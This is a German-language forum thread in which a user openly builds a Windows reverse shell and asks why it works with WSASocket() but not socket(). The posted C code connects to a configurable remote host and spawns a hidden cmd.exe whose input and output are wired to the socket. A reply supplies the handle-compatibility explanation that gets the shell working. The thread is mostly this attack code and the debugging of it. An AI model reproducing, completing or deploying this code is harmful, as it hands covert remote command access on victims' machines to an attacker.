Unterschied WSASocket und socket



  • Hi,

    will mir eine reverse shell basteln und hab nen Code im Internet gefunden(Klick). Den hab ich modifiziert verwendet. Unter anderem hab ich statt WSASocket socket verwendet. Damit hat nicht funktioniert. Prozess wurde erstellt aber gleich wieder geschlossen. Nachdem ich socket in WSASocket umgeaendert habe gings. Kann mir vielleicht einer erklaeren warum?

    Hmm vielleicht wenns noch wichtig ist OS ist Vista

    Greetz C0de4Fun



  • Checke die Return Werte der API Funktionen (und benutze ggf WSAGetLastError()). Dass sich der Prozesse einfach wieder schliesst ist keine ausreichende Fehlermeldung.



  • theta schrieb:

    Checke die Return Werte der API Funktionen (und benutze ggf WSAGetLastError()). Dass sich der Prozesse einfach wieder schliesst ist keine ausreichende Fehlermeldung.

    Hab ich hab ich. Es wird keine Fehler zurueck gegeben. Hab sogar auf das Prozessende mit WaitForSingleObject gewartet und dann den ExitCode geholt: wenn ich die cmd gestartet hab kam 1 und bei whoami 0.



  • Auch die Return Codes aller verwendeten Socket API Funktionen? Nicht bloss die des Prozesses...



  • theta schrieb:

    Auch die Return Codes aller verwendeten Socket API Funktionen? Nicht bloss die des Prozesses...

    Joa hab ich auch gemacht. Ich kann au mal ein bissle Code posten:

    Erst so (geht nicht):

    SOCKET ConnectToHost(char* szHost, int iPort)
    {
        int iResult;
        SOCKET Sock = INVALID_SOCKET;
        SOCKADDR_IN addr;
    
        ZeroMemory(&addr, sizeof(SOCKADDR_IN));
    
        Sock = socket(AF_INET, SOCK_STREAM, 0);
    
        if(Sock == INVALID_SOCKET)
    		return Sock;
    
        addr.sin_family = AF_INET;
        addr.sin_port = htons(iPort);
    
        iResult = GetAddrFromString(szHost, &addr);
    
        if(iResult != 0)
    	{
    		closesocket(Sock);
    		Sock = INVALID_SOCKET;
    		printf("failed to get ip from host: %s\n", szHost);
    	}
        else
        {
    
            iResult = connect(Sock, (SOCKADDR*)&addr, sizeof(SOCKADDR));
    
            if(iResult == SOCKET_ERROR)
    		{
    			closesocket(Sock);
    			Sock = INVALID_SOCKET;
    			printf("connect failed: %d\n", WSAGetLastError());
    		}
        }
    	return Sock;
    }
    
    /*....*/
    
    				si.cb = sizeof(si);
    				si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    				si.wShowWindow = SW_HIDE;
    				si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
    				if( CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&si,&pi) != 0)
    				{
    					ExitProcess(0);
    				}
    
    				printf("createprocess error; %u\n", GetLastError());
    

    Dann (so gehts):

    hSocket = WSASocket(AF_INET, SOCK_STREAM, NULL, NULL, NULL, NULL);
            if (hSocket == INVALID_SOCKET) {
               printf("cannot create socket");
    		   return 0;
            }
    
            addr.sin_family = AF_INET;
            addr.sin_port = htons(g_uPort);
    
    		if(GetAddrFromString(g_szHost, &addr) != SOCKET_ERROR)
    		{
    
    			if (connect(hSocket, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) 
    			{
    				printf("cannot connect to %s:%i\n", g_szHost, g_uPort);
    			}
    			else
    			{
    /* .. createprocess usw... */
    

    Gruss und danke C0de4Fun



  • Da hat einer was ähnliches beobachtet:
    http://redrome.blogspot.com/2006/03/socket-vs-wsasocket.html

    Sieht so aus als könnten Sockets die man mit WSASocket() erzeugt mit den üblichen File-Funktionen (ReadFile, WriteFile) verwendet werden, und welche die man über socket() erzeugt hat nicht. Warum weiss ich auch nicht.


Anmelden zum Antworten